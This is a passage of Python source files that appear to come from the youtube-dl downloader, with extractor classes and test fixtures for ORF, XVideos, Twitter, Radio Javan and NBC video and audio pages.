            [^/]+/(?P<music_id>[0-9]+)/[^/]+?
        )
    '''

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        if mobj.group('music_id'):
            id_field = 'vid'
            video_id = mobj.group('music_id')
        else:
            video_id = mobj.group('playlist_id') or mobj.group('video_id')
            id_field = 'id'
        doc_url = '%s?%s=%s' % (self._FEED_URL, id_field, video_id)

        idoc = self._download_xml(
            doc_url, video_id,
            'Downloading info', transform_source=fix_xml_ampersands)
        return self.playlist_result(
            [self._get_video_info(item) for item in idoc.findall('.//item')],
            playlist_id=video_id,
        )






# coding: utf-8
from __future__ import unicode_literals

import json
import re
import calendar
import datetime

from .common import InfoExtractor
from ..utils import (
    HEADRequest,
    unified_strdate,
    ExtractorError,
    strip_jsonp,
    int_or_none,
    float_or_none,
    determine_ext,
    remove_end,
)


class ORFTVthekIE(InfoExtractor):
    IE_NAME = 'orf:tvthek'
    IE_DESC = 'ORF TVthek'
    _VALID_URL = r'https?://tvthek\.orf\.at/(?:programs/.+?/episodes|topics?/.+?|program/[^/]+)/(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://tvthek.orf.at/program/Aufgetischt/2745173/Aufgetischt-Mit-der-Steirischen-Tafelrunde/8891389',
        'playlist': [{
            'md5': '2942210346ed779588f428a92db88712',
            'info_dict': {
                'id': '8896777',
                'ext': 'mp4',
                'title': 'Aufgetischt: Mit der Steirischen Tafelrunde',
                'description': 'md5:c1272f0245537812d4e36419c207b67d',
                'duration': 2668,
                'upload_date': '20141208',
            },
        }],
        'skip': 'Blocked outside of Austria / Germany',
    }, {
        'url': 'http://tvthek.orf.at/topic/Im-Wandel-der-Zeit/8002126/Best-of-Ingrid-Thurnher/7982256',
        'info_dict': {
            'id': '7982259',
            'ext': 'mp4',
            'title': 'Best of Ingrid Thurnher',
            'upload_date': '20140527',
            'description': 'Viele Jahre war Ingrid Thurnher das "Gesicht" der ZIB 2. Vor ihrem Wechsel zur ZIB 2 im Jahr 1995 moderierte sie unter anderem "Land und Leute", "Österreich-Bild" und "Niederösterreich heute".',
        },
        'params': {
            'skip_download': True,  # rtsp downloads
        },
        '_skip': 'Blocked outside of Austria / Germany',
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)
        webpage = self._download_webpage(url, playlist_id)

        data_json = self._search_regex(
            r'initializeAdworx\((.+?)\);\n', webpage, 'video info')
        all_data = json.loads(data_json)

        def get_segments(all_data):
            for data in all_data:
                if data['name'] in (
                        'Tracker::EPISODE_DETAIL_PAGE_OVER_PROGRAM',
                        'Tracker::EPISODE_DETAIL_PAGE_OVER_TOPIC'):
                    return data['values']['segments']

        sdata = get_segments(all_data)
        if not sdata:
            raise ExtractorError('Unable to extract segments')

        def quality_to_int(s):
            m = re.search('([0-9]+)', s)
            if m is None:
                return -1
            return int(m.group(1))

        entries = []
        for sd in sdata:
            video_id = sd['id']
            formats = [{
                'preference': -10 if fd['delivery'] == 'hls' else None,
                'format_id': '%s-%s-%s' % (
                    fd['delivery'], fd['quality'], fd['quality_string']),
                'url': fd['src'],
                'protocol': fd['protocol'],
                'quality': quality_to_int(fd['quality']),
            } for fd in sd['playlist_item_array']['sources']]

            # Check for geoblocking.
            # There is a property is_geoprotection, but that's always false
            geo_str = sd.get('geoprotection_string')
            if geo_str:
                try:
                    http_url = next(
                        f['url']
                        for f in formats
                        if re.match(r'^https?://.*\.mp4$', f['url']))
                except StopIteration:
                    pass
                else:
                    req = HEADRequest(http_url)
                    self._request_webpage(
                        req, video_id,
                        note='Testing for geoblocking',
                        errnote=((
                            'This video seems to be blocked outside of %s. '
                            'You may want to try the streaming-* formats.')
                            % geo_str),
                        fatal=False)

            self._check_formats(formats, video_id)
            self._sort_formats(formats)

            upload_date = unified_strdate(sd['created_date'])
            entries.append({
                '_type': 'video',
                'id': video_id,
                'title': sd['header'],
                'formats': formats,
                'description': sd.get('description'),
                'duration': int(sd['duration_in_seconds']),
                'upload_date': upload_date,
                'thumbnail': sd.get('image_full_url'),
            })

        return {
            '_type': 'playlist',
            'entries': entries,
            'id': playlist_id,
        }


class ORFOE1IE(InfoExtractor):
    IE_NAME = 'orf:oe1'
    IE_DESC = 'Radio Österreich 1'
    _VALID_URL = r'https?://oe1\.orf\.at/(?:programm/|konsole\?.*?\btrack_id=)(?P<id>[0-9]+)'

    # Audios on ORF radio are only available for 7 days, so we can't add tests.
    _TESTS = [{
        'url': 'http://oe1.orf.at/konsole?show=on_demand#?track_id=394211',
        'only_matching': True,
    }, {
        'url': 'http://oe1.orf.at/konsole?show=ondemand&track_id=443608&load_day=/programm/konsole/tag/20160726',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        show_id = self._match_id(url)
        data = self._download_json(
            'http://oe1.orf.at/programm/%s/konsole' % show_id,
            show_id
        )

        timestamp = datetime.datetime.strptime('%s %s' % (
            data['item']['day_label'],
            data['item']['time']
        ), '%d.%m.%Y %H:%M')
        unix_timestamp = calendar.timegm(timestamp.utctimetuple())

        return {
            'id': show_id,
            'title': data['item']['title'],
            'url': data['item']['url_stream'],
            'ext': 'mp3',
            'description': data['item'].get('info'),
            'timestamp': unix_timestamp
        }


class ORFFM4IE(InfoExtractor):
    IE_NAME = 'orf:fm4'
    IE_DESC = 'radio FM4'
    _VALID_URL = r'https?://fm4\.orf\.at/(?:7tage/?#|player/)(?P<date>[0-9]+)/(?P<show>\w+)'

    _TEST = {
        'url': 'http://fm4.orf.at/player/20160110/IS/',
        'md5': '01e736e8f1cef7e13246e880a59ad298',
        'info_dict': {
            'id': '2016-01-10_2100_tl_54_7DaysSun13_11244',
            'ext': 'mp3',
            'title': 'Im Sumpf',
            'description': 'md5:384c543f866c4e422a55f66a62d669cd',
            'duration': 7173,
            'timestamp': 1452456073,
            'upload_date': '20160110',
        },
        'skip': 'Live streams on FM4 got deleted soon',
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        show_date = mobj.group('date')
        show_id = mobj.group('show')

        data = self._download_json(
            'http://audioapi.orf.at/fm4/json/2.0/broadcasts/%s/4%s' % (show_date, show_id),
            show_id
        )

        def extract_entry_dict(info, title, subtitle):
            return {
                'id': info['loopStreamId'].replace('.mp3', ''),
                'url': 'http://loopstream01.apa.at/?channel=fm4&id=%s' % info['loopStreamId'],
                'title': title,
                'description': subtitle,
                'duration': (info['end'] - info['start']) / 1000,
                'timestamp': info['start'] / 1000,
                'ext': 'mp3'
            }

        entries = [extract_entry_dict(t, data['title'], data['subtitle']) for t in data['streams']]

        return {
            '_type': 'playlist',
            'id': show_id,
            'title': data['title'],
            'description': data['subtitle'],
            'entries': entries
        }


class ORFIPTVIE(InfoExtractor):
    IE_NAME = 'orf:iptv'
    IE_DESC = 'iptv.ORF.at'
    _VALID_URL = r'https?://iptv\.orf\.at/(?:#/)?stories/(?P<id>\d+)'

    _TEST = {
        'url': 'http://iptv.orf.at/stories/2275236/',
        'md5': 'c8b22af4718a4b4af58342529453e3e5',
        'info_dict': {
            'id': '350612',
            'ext': 'flv',
            'title': 'Weitere Evakuierungen um Vulkan Calbuco',
            'description': 'md5:d689c959bdbcf04efeddedbf2299d633',
            'duration': 68.197,
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20150425',
        },
    }

    def _real_extract(self, url):
        story_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://iptv.orf.at/stories/%s' % story_id, story_id)

        video_id = self._search_regex(
            r'data-video(?:id)?="(\d+)"', webpage, 'video id')

        data = self._download_json(
            'http://bits.orf.at/filehandler/static-api/json/current/data.json?file=%s' % video_id,
            video_id)[0]

        duration = float_or_none(data['duration'], 1000)

        video = data['sources']['default']
        load_balancer_url = video['loadBalancerUrl']
        abr = int_or_none(video.get('audioBitrate'))
        vbr = int_or_none(video.get('bitrate'))
        fps = int_or_none(video.get('videoFps'))
        width = int_or_none(video.get('videoWidth'))
        height = int_or_none(video.get('videoHeight'))
        thumbnail = video.get('preview')

        rendition = self._download_json(
            load_balancer_url, video_id, transform_source=strip_jsonp)

        f = {
            'abr': abr,
            'vbr': vbr,
            'fps': fps,
            'width': width,
            'height': height,
        }

        formats = []
        for format_id, format_url in rendition['redirect'].items():
            if format_id == 'rtmp':
                ff = f.copy()
                ff.update({
                    'url': format_url,
                    'format_id': format_id,
                })
                formats.append(ff)
            elif determine_ext(format_url) == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    format_url, video_id, f4m_id=format_id))
            elif determine_ext(format_url) == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    format_url, video_id, 'mp4', m3u8_id=format_id))
            else:
                continue
        self._sort_formats(formats)

        title = remove_end(self._og_search_title(webpage), ' - iptv.ORF.at')
        description = self._og_search_description(webpage)
        upload_date = unified_strdate(self._html_search_meta(
            'dc.date', webpage, 'upload date'))

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'thumbnail': thumbnail,
            'upload_date': upload_date,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote
from ..utils import (
    clean_html,
    ExtractorError,
    determine_ext,
)


class XVideosIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?xvideos\.com/video(?P<id>[0-9]+)(?:.*)'
    _TEST = {
        'url': 'http://www.xvideos.com/video4588838/biker_takes_his_girl',
        'md5': '14cea69fcb84db54293b1e971466c2e1',
        'info_dict': {
            'id': '4588838',
            'ext': 'mp4',
            'title': 'Biker Takes his Girl',
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        mobj = re.search(r'<h1 class="inlineError">(.+?)</h1>', webpage)
        if mobj:
            raise ExtractorError('%s said: %s' % (self.IE_NAME, clean_html(mobj.group(1))), expected=True)

        video_title = self._html_search_regex(
            r'<title>(.*?)\s+-\s+XVID', webpage, 'title')
        video_thumbnail = self._search_regex(
            r'url_bigthumb=(.+?)&amp', webpage, 'thumbnail', fatal=False)

        formats = []

        video_url = compat_urllib_parse_unquote(self._search_regex(
            r'flv_url=(.+?)&', webpage, 'video URL', default=''))
        if video_url:
            formats.append({
                'url': video_url,
                'format_id': 'flv',
            })

        for kind, _, format_url in re.findall(
                r'setVideo([^(]+)\((["\'])(http.+?)\2\)', webpage):
            format_id = kind.lower()
            if format_id == 'hls':
                formats.extend(self._extract_m3u8_formats(
                    format_url, video_id, 'mp4',
                    entry_protocol='m3u8_native', m3u8_id='hls', fatal=False))
            elif format_id in ('urllow', 'urlhigh'):
                formats.append({
                    'url': format_url,
                    'format_id': '%s-%s' % (determine_ext(format_url, 'mp4'), format_id[3:]),
                    'quality': -2 if format_id.endswith('low') else None,
                })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'formats': formats,
            'title': video_title,
            'thumbnail': video_thumbnail,
            'age_limit': 18,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    float_or_none,
    xpath_text,
    remove_end,
    int_or_none,
    ExtractorError,
)


class TwitterBaseIE(InfoExtractor):
    def _get_vmap_video_url(self, vmap_url, video_id):
        vmap_data = self._download_xml(vmap_url, video_id)
        return xpath_text(vmap_data, './/MediaFile').strip()


class TwitterCardIE(TwitterBaseIE):
    IE_NAME = 'twitter:card'
    _VALID_URL = r'https?://(?:www\.)?twitter\.com/i/(?:cards/tfw/v1|videos/tweet)/(?P<id>\d+)'
    _TESTS = [
        {
            'url': 'https://twitter.com/i/cards/tfw/v1/560070183650213889',
            # MD5 checksums are different in different places
            'info_dict': {
                'id': '560070183650213889',
                'ext': 'mp4',
                'title': 'Twitter Card',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 30.033,
            }
        },
        {
            'url': 'https://twitter.com/i/cards/tfw/v1/623160978427936768',
            'md5': '7ee2a553b63d1bccba97fbed97d9e1c8',
            'info_dict': {
                'id': '623160978427936768',
                'ext': 'mp4',
                'title': 'Twitter Card',
                'thumbnail': 're:^https?://.*\.jpg',
                'duration': 80.155,
            },
        },
        {
            'url': 'https://twitter.com/i/cards/tfw/v1/654001591733886977',
            'md5': 'd4724ffe6d2437886d004fa5de1043b3',
            'info_dict': {
                'id': 'dq4Oj5quskI',
                'ext': 'mp4',
                'title': 'Ubuntu 11.10 Overview',
                'description': 'Take a quick peek at what\'s new and improved in Ubuntu 11.10.\n\nOnce installed take a look at 10 Things to Do After Installing: http://www.omgubuntu.co.uk/2011/10/10...',
                'upload_date': '20111013',
                'uploader': 'OMG! Ubuntu!',
                'uploader_id': 'omgubuntu',
            },
            'add_ie': ['Youtube'],
        },
        {
            'url': 'https://twitter.com/i/cards/tfw/v1/665289828897005568',
            'md5': 'ab2745d0b0ce53319a534fccaa986439',
            'info_dict': {
                'id': 'iBb2x00UVlv',
                'ext': 'mp4',
                'upload_date': '20151113',
                'uploader_id': '1189339351084113920',
                'uploader': 'ArsenalTerje',
                'title': 'Vine by ArsenalTerje',
            },
            'add_ie': ['Vine'],
        }, {
            'url': 'https://twitter.com/i/videos/tweet/705235433198714880',
            'md5': '3846d0a07109b5ab622425449b59049d',
            'info_dict': {
                'id': '705235433198714880',
                'ext': 'mp4',
                'title': 'Twitter web player',
                'thumbnail': 're:^https?://.*\.jpg',
            },
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        config = None
        formats = []
        duration = None

        webpage = self._download_webpage(url, video_id)

        iframe_url = self._html_search_regex(
            r'<iframe[^>]+src="((?:https?:)?//(?:www.youtube.com/embed/[^"]+|(?:www\.)?vine\.co/v/\w+/card))"',
            webpage, 'video iframe', default=None)
        if iframe_url:
            return self.url_result(iframe_url)

        config = self._parse_json(self._html_search_regex(
            r'data-(?:player-)?config="([^"]+)"', webpage, 'data player config'),
            video_id)

        if config.get('source_type') == 'vine':
            return self.url_result(config['player_url'], 'Vine')

        def _search_dimensions_in_video_url(a_format, video_url):
            m = re.search(r'/(?P<width>\d+)x(?P<height>\d+)/', video_url)
            if m:
                a_format.update({
                    'width': int(m.group('width')),
                    'height': int(m.group('height')),
                })

        video_url = config.get('video_url') or config.get('playlist', [{}])[0].get('source')

        if video_url:
            if determine_ext(video_url) == 'm3u8':
                formats.extend(self._extract_m3u8_formats(video_url, video_id, ext='mp4', m3u8_id='hls'))
            else:
                f = {
                    'url': video_url,
                }

                _search_dimensions_in_video_url(f, video_url)

                formats.append(f)

        vmap_url = config.get('vmapUrl') or config.get('vmap_url')
        if vmap_url:
            formats.append({
                'url': self._get_vmap_video_url(vmap_url, video_id),
            })

        media_info = None

        for entity in config.get('status', {}).get('entities', []):
            if 'mediaInfo' in entity:
                media_info = entity['mediaInfo']

        if media_info:
            for media_variant in media_info['variants']:
                media_url = media_variant['url']
                if media_url.endswith('.m3u8'):
                    formats.extend(self._extract_m3u8_formats(media_url, video_id, ext='mp4', m3u8_id='hls'))
                elif media_url.endswith('.mpd'):
                    formats.extend(self._extract_mpd_formats(media_url, video_id, mpd_id='dash'))
                else:
                    vbr = int_or_none(media_variant.get('bitRate'), scale=1000)
                    a_format = {
                        'url': media_url,
                        'format_id': 'http-%d' % vbr if vbr else 'http',
                        'vbr': vbr,
                    }
                    # Reported bitRate may be zero
                    if not a_format['vbr']:
                        del a_format['vbr']

                    _search_dimensions_in_video_url(a_format, media_url)

                    formats.append(a_format)

            duration = float_or_none(media_info.get('duration', {}).get('nanos'), scale=1e9)

        self._sort_formats(formats)

        title = self._search_regex(r'<title>([^<]+)</title>', webpage, 'title')
        thumbnail = config.get('posterImageUrl') or config.get('image_src')
        duration = float_or_none(config.get('duration')) or duration

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
        }


class TwitterIE(InfoExtractor):
    IE_NAME = 'twitter'
    _VALID_URL = r'https?://(?:www\.|m\.|mobile\.)?twitter\.com/(?P<user_id>[^/]+)/status/(?P<id>\d+)'
    _TEMPLATE_URL = 'https://twitter.com/%s/status/%s'

    _TESTS = [{
        'url': 'https://twitter.com/freethenipple/status/643211948184596480',
        'info_dict': {
            'id': '643211948184596480',
            'ext': 'mp4',
            'title': 'FREE THE NIPPLE - FTN supporters on Hollywood Blvd today!',
            'thumbnail': 're:^https?://.*\.jpg',
            'description': 'FREE THE NIPPLE on Twitter: "FTN supporters on Hollywood Blvd today! http://t.co/c7jHH749xJ"',
            'uploader': 'FREE THE NIPPLE',
            'uploader_id': 'freethenipple',
        },
        'params': {
            'skip_download': True,  # requires ffmpeg
        },
    }, {
        'url': 'https://twitter.com/giphz/status/657991469417025536/photo/1',
        'md5': 'f36dcd5fb92bf7057f155e7d927eeb42',
        'info_dict': {
            'id': '657991469417025536',
            'ext': 'mp4',
            'title': 'Gifs - tu vai cai tu vai cai tu nao eh capaz disso tu vai cai',
            'description': 'Gifs on Twitter: "tu vai cai tu vai cai tu nao eh capaz disso tu vai cai https://t.co/tM46VHFlO5"',
            'thumbnail': 're:^https?://.*\.png',
            'uploader': 'Gifs',
            'uploader_id': 'giphz',
        },
        'expected_warnings': ['height', 'width'],
        'skip': 'Account suspended',
    }, {
        'url': 'https://twitter.com/starwars/status/665052190608723968',
        'md5': '39b7199856dee6cd4432e72c74bc69d4',
        'info_dict': {
            'id': '665052190608723968',
            'ext': 'mp4',
            'title': 'Star Wars - A new beginning is coming December 18. Watch the official 60 second #TV spot for #StarWars: #TheForceAwakens.',
            'description': 'Star Wars on Twitter: "A new beginning is coming December 18. Watch the official 60 second #TV spot for #StarWars: #TheForceAwakens."',
            'uploader_id': 'starwars',
            'uploader': 'Star Wars',
        },
    }, {
        'url': 'https://twitter.com/BTNBrentYarina/status/705235433198714880',
        'info_dict': {
            'id': '705235433198714880',
            'ext': 'mp4',
            'title': 'Brent Yarina - Khalil Iverson\'s missed highlight dunk. And made highlight dunk. In one highlight.',
            'description': 'Brent Yarina on Twitter: "Khalil Iverson\'s missed highlight dunk. And made highlight dunk. In one highlight."',
            'uploader_id': 'BTNBrentYarina',
            'uploader': 'Brent Yarina',
        },
        'params': {
            # The same video as https://twitter.com/i/videos/tweet/705235433198714880
            # Test case of TwitterCardIE
            'skip_download': True,
        },
    }, {
        'url': 'https://twitter.com/jaydingeer/status/700207533655363584',
        'md5': '',
        'info_dict': {
            'id': '700207533655363584',
            'ext': 'mp4',
            'title': 'Donte The Dumbass - BEAT PROD: @suhmeduh #Damndaniel',
            'description': 'Donte The Dumbass on Twitter: "BEAT PROD: @suhmeduh  https://t.co/HBrQ4AfpvZ #Damndaniel https://t.co/byBooq2ejZ"',
            'thumbnail': 're:^https?://.*\.jpg',
            'uploader': 'Donte The Dumbass',
            'uploader_id': 'jaydingeer',
        },
        'params': {
            'skip_download': True,  # requires ffmpeg
        },
    }, {
        'url': 'https://twitter.com/Filmdrunk/status/713801302971588609',
        'md5': '89a15ed345d13b86e9a5a5e051fa308a',
        'info_dict': {
            'id': 'MIOxnrUteUd',
            'ext': 'mp4',
            'title': 'Dr.Pepperの飲み方 #japanese #バカ #ドクペ #電動ガン',
            'uploader': 'TAKUMA',
            'uploader_id': '1004126642786242560',
            'upload_date': '20140615',
        },
        'add_ie': ['Vine'],
    }, {
        'url': 'https://twitter.com/captainamerica/status/719944021058060289',
        'info_dict': {
            'id': '719944021058060289',
            'ext': 'mp4',
            'title': 'Captain America - @King0fNerd Are you sure you made the right choice? Find out in theaters.',
            'description': 'Captain America on Twitter: "@King0fNerd Are you sure you made the right choice? Find out in theaters. https://t.co/GpgYi9xMJI"',
            'uploader_id': 'captainamerica',
            'uploader': 'Captain America',
        },
        'params': {
            'skip_download': True,  # requires ffmpeg
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        user_id = mobj.group('user_id')
        twid = mobj.group('id')

        webpage, urlh = self._download_webpage_handle(
            self._TEMPLATE_URL % (user_id, twid), twid)

        if 'twitter.com/account/suspended' in urlh.geturl():
            raise ExtractorError('Account suspended by Twitter.', expected=True)

        username = remove_end(self._og_search_title(webpage), ' on Twitter')

        title = description = self._og_search_description(webpage).strip('').replace('\n', ' ').strip('“”')

        # strip  'https -_t.co_BJYgOjSeGA' junk from filenames
        title = re.sub(r'\s+(https?://[^ ]+)', '', title)

        info = {
            'uploader_id': user_id,
            'uploader': username,
            'webpage_url': url,
            'description': '%s on Twitter: "%s"' % (username, description),
            'title': username + ' - ' + title,
        }

        mobj = re.search(r'''(?x)
            <video[^>]+class="animated-gif"(?P<more_info>[^>]+)>\s*
                <source[^>]+video-src="(?P<url>[^"]+)"
        ''', webpage)

        if mobj:
            more_info = mobj.group('more_info')
            height = int_or_none(self._search_regex(
                r'data-height="(\d+)"', more_info, 'height', fatal=False))
            width = int_or_none(self._search_regex(
                r'data-width="(\d+)"', more_info, 'width', fatal=False))
            thumbnail = self._search_regex(
                r'poster="([^"]+)"', more_info, 'poster', fatal=False)
            info.update({
                'id': twid,
                'url': mobj.group('url'),
                'height': height,
                'width': width,
                'thumbnail': thumbnail,
            })
            return info

        if 'class="PlayableMedia' in webpage:
            info.update({
                '_type': 'url_transparent',
                'ie_key': 'TwitterCard',
                'url': '%s//twitter.com/i/videos/tweet/%s' % (self.http_scheme(), twid),
            })

            return info

        raise ExtractorError('There\'s no video in this tweet.')


class TwitterAmplifyIE(TwitterBaseIE):
    IE_NAME = 'twitter:amplify'
    _VALID_URL = 'https?://amp\.twimg\.com/v/(?P<id>[0-9a-f\-]{36})'

    _TEST = {
        'url': 'https://amp.twimg.com/v/0ba0c3c7-0af3-4c0a-bed5-7efd1ffa2951',
        'md5': '7df102d0b9fd7066b86f3159f8e81bf6',
        'info_dict': {
            'id': '0ba0c3c7-0af3-4c0a-bed5-7efd1ffa2951',
            'ext': 'mp4',
            'title': 'Twitter Video',
            'thumbnail': 're:^https?://.*',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        vmap_url = self._html_search_meta(
            'twitter:amplify:vmap', webpage, 'vmap url')
        video_url = self._get_vmap_video_url(vmap_url, video_id)

        thumbnails = []
        thumbnail = self._html_search_meta(
            'twitter:image:src', webpage, 'thumbnail', fatal=False)

        def _find_dimension(target):
            w = int_or_none(self._html_search_meta(
                'twitter:%s:width' % target, webpage, fatal=False))
            h = int_or_none(self._html_search_meta(
                'twitter:%s:height' % target, webpage, fatal=False))
            return w, h

        if thumbnail:
            thumbnail_w, thumbnail_h = _find_dimension('image')
            thumbnails.append({
                'url': thumbnail,
                'width': thumbnail_w,
                'height': thumbnail_h,
            })

        video_w, video_h = _find_dimension('player')
        formats = [{
            'url': video_url,
            'width': video_w,
            'height': video_h,
        }]

        return {
            'id': video_id,
            'title': 'Twitter Video',
            'formats': formats,
            'thumbnails': thumbnails,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    unified_strdate,
    str_to_int,
)


class RadioJavanIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?radiojavan\.com/videos/video/(?P<id>[^/]+)/?'
    _TEST = {
        'url': 'http://www.radiojavan.com/videos/video/chaartaar-ashoobam',
        'md5': 'e85208ffa3ca8b83534fca9fe19af95b',
        'info_dict': {
            'id': 'chaartaar-ashoobam',
            'ext': 'mp4',
            'title': 'Chaartaar - Ashoobam',
            'thumbnail': 're:^https?://.*\.jpe?g$',
            'upload_date': '20150215',
            'view_count': int,
            'like_count': int,
            'dislike_count': int,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        formats = [{
            'url': 'https://media.rdjavan.com/media/music_video/%s' % video_path,
            'format_id': '%sp' % height,
            'height': int(height),
        } for height, video_path in re.findall(r"RJ\.video(\d+)p\s*=\s*'/?([^']+)'", webpage)]
        self._sort_formats(formats)

        title = self._og_search_title(webpage)
        thumbnail = self._og_search_thumbnail(webpage)

        upload_date = unified_strdate(self._search_regex(
            r'class="date_added">Date added: ([^<]+)<',
            webpage, 'upload date', fatal=False))

        view_count = str_to_int(self._search_regex(
            r'class="views">Plays: ([\d,]+)',
            webpage, 'view count', fatal=False))
        like_count = str_to_int(self._search_regex(
            r'class="rating">([\d,]+) likes',
            webpage, 'like count', fatal=False))
        dislike_count = str_to_int(self._search_regex(
            r'class="rating">([\d,]+) dislikes',
            webpage, 'dislike count', fatal=False))

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'upload_date': upload_date,
            'view_count': view_count,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from .theplatform import ThePlatformIE
from ..utils import (
    find_xpath_attr,
    lowercase_escape,
    smuggle_url,
    unescapeHTML,
)


class NBCIE(InfoExtractor):
    _VALID_URL = r'https?://www\.nbc\.com/(?:[^/]+/)+(?P<id>n?\d+)'

    _TESTS = [
        {
            'url': 'http://www.nbc.com/the-tonight-show/segments/112966',
            'info_dict': {
                'id': '112966',
                'ext': 'mp4',
                'title': 'Jimmy Fallon Surprises Fans at Ben & Jerry\'s',
                'description': 'Jimmy gives out free scoops of his new "Tonight Dough" ice cream flavor by surprising customers at the Ben & Jerry\'s scoop shop.',
                'timestamp': 1424246400,
                'upload_date': '20150218',
                'uploader': 'NBCU-COM',
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.nbc.com/the-tonight-show/episodes/176',
            'info_dict': {
                'id': '176',
                'ext': 'flv',
                'title': 'Ricky Gervais, Steven Van Zandt, ILoveMakonnen',
                'description': 'A brand new episode of The Tonight Show welcomes Ricky Gervais, Steven Van Zandt and ILoveMakonnen.',
            },
            'skip': '404 Not Found',
        },
        {
            'url': 'http://www.nbc.com/saturday-night-live/video/star-wars-teaser/2832821',
            'info_dict': {
                'id': '2832821',
                'ext': 'mp4',
                'title': 'Star Wars Teaser',
                'description': 'md5:0b40f9cbde5b671a7ff62fceccc4f442',
                'timestamp': 1417852800,
                'upload_date': '20141206',
                'uploader': 'NBCU-COM',
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
            'skip': 'Only works from US',
        },
        {
            # This video has expired but with an escaped embedURL
            'url': 'http://www.nbc.com/parenthood/episode-guide/season-5/just-like-at-home/515',
            'only_matching': True,
        },
        {
            # HLS streams requires the 'hdnea3' cookie
            'url': 'http://www.nbc.com/Kings/video/goliath/n1806',
            'info_dict': {
                'id': 'n1806',
                'ext': 'mp4',
                'title': 'Goliath',
                'description': 'When an unknown soldier saves the life of the King\'s son in battle, he\'s thrust into the limelight and politics of the kingdom.',
                'timestamp': 1237100400,
                'upload_date': '20090315',
                'uploader': 'NBCU-COM',
            },
            'params': {
                'skip_download': True,
            },
            'skip': 'Only works from US',
        }
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        theplatform_url = unescapeHTML(lowercase_escape(self._html_search_regex(
            [
                r'(?:class="video-player video-player-full" data-mpx-url|class="player" src)="(.*?)"',
                r'<iframe[^>]+src="((?:https?:)?//player\.theplatform\.com/[^"]+)"',
                r'"embedURL"\s*:\s*"([^"]+)"'
            ],
            webpage, 'theplatform url').replace('_no_endcard', '').replace('\\/', '/')))
        if theplatform_url.startswith('//'):
            theplatform_url = 'http:' + theplatform_url
        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'url': smuggle_url(theplatform_url, {'source_url': url}),
            'id': video_id,
        }


class NBCSportsVPlayerIE(InfoExtractor):
    _VALID_URL = r'https?://vplayer\.nbcsports\.com/(?:[^/]+/)+(?P<id>[0-9a-zA-Z_]+)'

    _TESTS = [{
        'url': 'https://vplayer.nbcsports.com/p/BxmELC/nbcsports_share/select/9CsDKds0kvHI',
        'info_dict': {
            'id': '9CsDKds0kvHI',
            'ext': 'flv',
            'description': 'md5:df390f70a9ba7c95ff1daace988f0d8d',
            'title': 'Tyler Kalinoski hits buzzer-beater to lift Davidson',
            'timestamp': 1426270238,
            'upload_date': '20150313',
            'uploader': 'NBCU-SPORTS',
        }
    }, {
        'url': 'http://vplayer.nbcsports.com/p/BxmELC/nbc_embedshare/select/_hqLjQ95yx8Z',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        iframe_m = re.search(
            r'<iframe[^>]+src="(?P<url>https?://vplayer\.nbcsports\.com/[^"]+)"', webpage)
        if iframe_m:
            return iframe_m.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        theplatform_url = self._og_search_video_url(webpage)
        return self.url_result(theplatform_url, 'ThePlatform')


class NBCSportsIE(InfoExtractor):
    # Does not include https because its certificate is invalid
    _VALID_URL = r'https?://www\.nbcsports\.com//?(?:[^/]+/)+(?P<id>[0-9a-z-]+)'

    _TEST = {
        'url': 'http://www.nbcsports.com//college-basketball/ncaab/tom-izzo-michigan-st-has-so-much-respect-duke',
        'info_dict': {
            'id': 'PHJSaFWbrTY9',
            'ext': 'flv',
            'title': 'Tom Izzo, Michigan St. has \'so much respect\' for Duke',
            'description': 'md5:ecb459c9d59e0766ac9c7d5d0eda8113',
            'uploader': 'NBCU-SPORTS',
            'upload_date': '20150330',
            'timestamp': 1427726529,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        return self.url_result(
            NBCSportsVPlayerIE._extract_url(webpage), 'NBCSportsVPlayer')


class CSNNEIE(InfoExtractor):
    _VALID_URL = r'https?://www\.csnne\.com/video/(?P<id>[0-9a-z-]+)'

    _TEST = {
        'url': 'http://www.csnne.com/video/snc-evening-update-wright-named-red-sox-no-5-starter',
        'info_dict': {
            'id': 'yvBLLUgQ8WU0',
            'ext': 'mp4',
            'title': 'SNC evening update: Wright named Red Sox\' No. 5 starter.',
